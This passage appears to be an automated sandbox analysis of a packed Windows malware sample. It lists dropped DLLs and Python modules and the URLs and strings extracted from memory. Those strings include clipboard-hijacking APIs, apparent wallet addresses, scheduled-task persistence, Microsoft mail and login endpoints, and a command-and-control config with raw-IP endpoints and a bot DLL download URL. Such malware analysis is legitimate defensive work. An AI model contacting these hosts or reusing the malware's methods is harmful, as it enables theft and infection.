(DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-synch-l1-2-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-synch-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-synch-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-handle-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-handle-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-heap-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-timezone-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-timezone-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-console-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-console-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-datetime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-datetime-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-processthreads-l1-1-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-processthreads-l1-1-1.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-string-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-time-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-time-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-interlocked-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-interlocked-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-fibers-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-fibers-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-heap-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-processthreads-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-processthreads-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-memory-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-memory-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-errorhandling-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-errorhandling-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-file-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-file-l1-2-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-rtlsupport-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-rtlsupport-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-debug-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-debug-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-locale-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-locale-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-libraryloader-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-libraryloader-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-profile-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-profile-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-filesystem-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-filesystem-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-localization-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-localization-l1-2-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-conio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-conio-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-sysinfo-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-sysinfo-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-process-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-process-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-environment-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-environment-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-utility-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-utility-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-namedpipe-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-namedpipe-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-processenvironment-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-processenvironment-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-util-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-util-l1-1-0.dll]- [targetUID: 00000000-00004948] "base_library.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified last modified Sun Jan 01 1980 00:00:00 uncompressed size 4255 method=store"- Location: [%TEMP%\_MEI7962\base_library.zip]- [targetUID: 00000000-00004948] "base_library.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified last modified Sun Jan 01 1980 00:00:00 uncompressed size 48314 method=store"- Location: [%TEMP%\_MEI49482\base_library.zip]- [targetUID: 00000000-00004948] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\unicodedata.pyd]- [targetUID: 00000000-00004948] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\unicodedata.pyd]- [targetUID: 00000000-00004948] "_zstd.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_zstd.pyd]- [targetUID: 00000000-00004948] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_decimal.pyd]- [targetUID: 00000000-00004948] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_decimal.pyd]- [targetUID: 00000000-00004948] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\pyexpat.pyd]- [targetUID: 00000000-00000796] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_ssl.pyd]- [targetUID: 00000000-00004948] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_ssl.pyd]- [targetUID: 00000000-00004948] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_lzma.pyd]- [targetUID: 00000000-00004948] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_lzma.pyd]- [targetUID: 00000000-00004948] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_ctypes.pyd]- [targetUID: 00000000-00004948] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_ctypes.pyd]- [targetUID: 00000000-00004948] "md__mypyc.cp313-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\charset_normalizer\md__mypyc.cp313-win_amd64.pyd]- [targetUID: 00000000-00000796] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_bz2.pyd]- [targetUID: 00000000-00004948] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_socket.pyd]- [targetUID: 00000000-00004948] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_bz2.pyd]- [targetUID: 00000000-00004948] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_socket.pyd]- [targetUID: 00000000-00004948] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_asyncio.pyd]- [targetUID: 00000000-00000796] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\_hashlib.pyd]- [targetUID: 00000000-00004948] "_tkinter.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_tkinter.pyd]- [targetUID: 00000000-00000796] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_hashlib.pyd]- [targetUID: 00000000-00004948] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_overlapped.pyd]- [targetUID: 00000000-00000796] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_wmi.pyd]- [targetUID: 00000000-00000796] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_multiprocessing.pyd]- [targetUID: 00000000-00000796] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_queue.pyd]- [targetUID: 00000000-00000796] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI49482\select.pyd]- [targetUID: 00000000-00004948] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\select.pyd]- [targetUID: 00000000-00004948] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\_uuid.pyd]- [targetUID: 00000000-00000796] "md.cp313-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\charset_normalizer\md.cp313-win_amd64.pyd]- [targetUID: 00000000-00000796]65:T687,"" /tr "/create /sc minute /tn "schtasks.exeopen/query /tn "Global\%sOnline17eVihzE4bHyB3PVu1pZDUmXSEEsbmwPUV0x3d6f8ad25c2edf301db42d96b2afd3dd5a787b17LP4WMSGxy6gSQrzWQ4DN8gDft8KuBpW8wvTBfVoNhyiBzrWXRi9erWH1d8BdpFNoB7dtGetClipboardSequenceNumberSetClipboardDataOpenClipboardGetClipboardDataEmptyClipboardCloseClipboardCorExitProcess Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI`udt returning'`copy constructor closure'`eh vector vbase constructor iterator'`eh vector destructor iterator'`eh vector constructor iterator'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase destructor'`string'`local static guard'`typeof'`vcall'`vbtable'`vftable'operator delete new__unaligned__restrict__ptr64__eabi__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(GetProcessWindowStationGetUserObjectInformationWGetLastActivePopupGetActiveWindowMessageBoxWHH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuarySaturdayFridayThursdayWednesdayTuesdayMondaySunday !"#$%&'()*+ -./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~6:fJ!Q@NKagj(hMb=LkmSwO/-Rb_chkstkmemsetntdll.dllCreateFileAGetModuleHandleALoadLibraryAWriteFileGetComputerNameAGetProcAddressIsBadReadPtrGetACPlstrlenAInterlockedDecrementSleepGetLastErrorHeapAllocExitProcessGetModuleHandleWGlobalUnlockGlobalLockGlobalFreeGlobalAllocKERNEL32.dllwsprintfAUSER32.dllRtlUnwindHeapFreeEncodePointerDecodePointerGetStdHandleGetModuleFileNameWInitializeCriticalSectionAndSpinCountLeaveCriticalSectionEnterCriticalSectionTlsGetValueTlsSetValueInterlockedIncrementSetLastErrorGetCurrentThreadIdUnhandledExceptionFilterSetUnhandledExceptionFilterIsDebuggerPresentTerminateProcessGetCurrentProcessLoadLibraryWGetCPInfoGetOEMCPIsValidCodePageWideCharToMultiByteLCMapStringWMultiByteToWideCharGetStringTypeWIsProcessorFeaturePresent5732282vd0M29DW&2(r{[$$LUuO ," fR'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*! k{E03>DJxf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg`yI]#E0O"9DS8=(l__q5.hG?B4CV-8|e'1'|Q|cvMXjaE0O29DS&=(GL+.5f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]HgrDlCI8TtA9LZ(u*YWQlp;N?J}*2,,s8sz1(ejOK_u/BxbwLR9tC5>o[V-GM="VQriZeOYJA%uaaX~({4uUh0A%e(f)p&=&T xBo~F`;u0O21\;/ybw?c)j_CONUKevgh!g{5510D|vy_J]e6(s5IlP^Wja)L[^Z9DSx:+_TXd d:#1-8t(0`.B~?GW/Pd-]1MFg3IU ezSc49KAL[\Q)Rq-Nyb+cq)$Y_Ir;;uFjS'RAhWjauxs~u@Wu(LY+mUS'=+.53?KB1HG ]*PPj!-420Wg(GENtCUY1tbiTHeagU^/cvMf\kouLy> $sF]Hg*!,;>E0O29Da54BYZhwr=h4CV-8`gw)T|9F2)TJjZAX?%C#p5@L7@%HC0Q<;;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(ga6}h'S4e9@|__rxz'ZQ|Yzyu$sF$OZb{*!,wQ&Q#tK!6&=(K}GoYlRoMeylDf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(5oDvpf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;.E0;39DQ'He:[E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0+rxS&=(f}h/CV-8KNU`biTc63BBtShZQ|-3Z*!,;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg.data abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ208F8[8:$:}:;9;d;`?r?0[0~02u5{595;C;M;g;z;<-<7&>,>B>H>Z>}>>6?">'>5>0!0'01&1 161?1J1O1X1b1m14F56767e9v990:8:M:X:;I;~;!>*>/>>>e>U0o0x00 1D1K1S1X1\1`11:2@2D2H2L2373i3p3t3x3|33f4l4r4x4~45 51575=5S5Z5589J9\9n9:$:6:H:Z:l:~::y;I<3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|33$3,3: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:; ;h;<00<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00000796.00000001.273682.DEDF0000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0a.miko>u\pekh?u!t]qzi^0oh*ppbmi3ls!brg&+ozy2&qv.m!doo\8" - Source: "00000000-00000796.00000001.273682.DEDF0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00000796.00000002.275602.DEDF0000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0a.miko>u\pekh?u!t]qzi^0oh*ppbmi3ls!brg&+ozy2&qv.m!doo\8" - Source: "00000000-00000796.00000002.275602.DEDF0000.00000004.mdmp") Found URL "http://196.251.107.130/zbuyowgn/data.php;http://62.60.226.159/zbuyowgn/data.php;http://196.251.107.23/diamo/data.php;http://178.16.53.7/diamo/data.php;http://158.94.208.102/diamo/data.php;http://196.251.107.61/diamo/data.phpboturl=http://196.251.107.23/bot64.dllsrvdelay=1srvretry=1buildid=27/11/2025fpicptr=getkeyboardlayoutlist.text" - Source: "00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00001420.00000000.271793.795FB000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00001420.00000000.271793.795FB000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00001420.00000000.271793.795FB000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00001420.00000000.271793.795FB000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00001420.00000000.271793.7B450000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00001420.00000000.271793.7B450000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00001420.00000000.271793.7BD0A000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/create" - Source: "00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found URL "https://docs.python.org/3/howto/mro.html.branch%" - Source: "00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found URL "https://github.com/python/importlib_metadata/wiki/development-methodologyfor" - Source: "00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001604.00000000.272058.EE3A0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00002168.00000000.272714.1E320000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00002168.00000000.272714.1FF80000.00000004.mdmp") Found URL "https://docs.python.org/3/howto/mro.html." - Source: "00000000-00002168.00000000.272714.1FF80000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00002168.00000000.272714.1FF80000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00002168.00000000.272714.20180000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00002168.00000000.272714.20180000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00002168.00000000.272714.20180000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00002168.00000000.272714.20180000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00002168.00000000.272714.20180000.00000004.mdmp") Found URL "https://httpbin.org/get')" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://example.com/" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://mahler:8092/site-updates.py'," - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "http://ahad-haam:3128" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://www.python.org/')id" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://tools.ietf.org/html/rfc7231" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://github.com/python/cpython/issues/86361.for" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://json.org>" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/getweakrefcountgetweakrefsproxycallableproxytype" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://www.python.org')" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://httpbin.org/post'," - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://requests.readthedocs.io>.:copyright:" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://docs.python.org/3/library/multiprocessing.html" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://google.com/mail/" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://username:password@host.com:80/path?query" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2513" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://tools.ietf.org/html/rfc2388" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0digicert" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://docs.python.org/3.11/library/binascii.html" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://google.com/" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://google.com/mail" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://yahoo.com/" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://www.rfc-editor.org/rfc/rfc8259" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "http://www.iana.org/assignments/tls-parameters/tls-parameters.xml" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "http://google.com/')" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "http://repository.swisssign.com/" - Source: "00000000-00002168.00000000.272714.20760000.00000004.mdmp") Found URL "https://github.com/python/importlib_metadata/wiki/development-methodologyfor" - Source: "00000000-00002168.00000000.272714.20960000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/0rk" - Source: "00000000-00002168.00000000.272714.20960000.00000004.mdmp") Found URL "https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?client_info=1&haschrome=1&login_hint=&scope=profile%20openid%20offline_access%20https%3a%2f%2foutlook.office.com%2fm365.accessc:\users\hapubws\appdata\local\temp\_mei7962\requests\__pycache__\__init__.cpython-313.pycunable" - Source: "00000000-00002168.00000000.272714.20A60000.00000004.mdmp") Found URL "https://account.live.com/identity/confirmforkawarelocal.__init__..phr" - Source: "00000000-00002168.00000000.272714.20A60000.00000004.mdmp") Found URL "https://odc.officeapps.live.com/odc/emailhrd/getidp?hm=1&emailaddress=cleanup" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://login.microsoftonline.com/consumers/oauth2/v2.0/tokenhttps://substrate.office.com/profileb2/v2.0/me/v1profilehttps://outlook.live.com/owa/service.svc?action=getusersettings" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://outlook.office365.com/api/v2.0/me/messages?$top=100&$select=from,subject,body@5f" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://account.live.com/abusestep" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://graph.microsoft.com/v1.0/mestep" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://outlook.live.comcom.microsoft.outlooklitehttps://outlook.live.com/https://outlook.live.com/owa//startupdata.ashx?app=mini&n=0step" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://login.live.comcontent-typelogin" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "http://en.wikipedia.org/wiki/triangular_distributionthe" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://proxyschemeunknown.__init__headerparsingerror.__init__message_from_binary_filebase" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://fetching" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2192" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://foss.heptapod.net/pypy/pypy/-/issues/3539hash" - Source: "00000000-00002168.00000000.272714.20F60000.00000004.mdmp") Found URL "https://urllib3.readthedocs.io/en/latest/advanced-usage.html" - Source: "00000000-00002168.00000000.272714.21080000.00000004.mdmp") Found URL "https://github.com/python/importlib_metadata/wiki/development-methodologyfor" - Source: "00000000-00002168.00000000.272714.21190000.00000004.mdmp") Found URL "https://packaging.python.org/specifications/entry-points/>" - Source: "00000000-00002168.00000000.272714.21190000.00000004.mdmp") Found URL 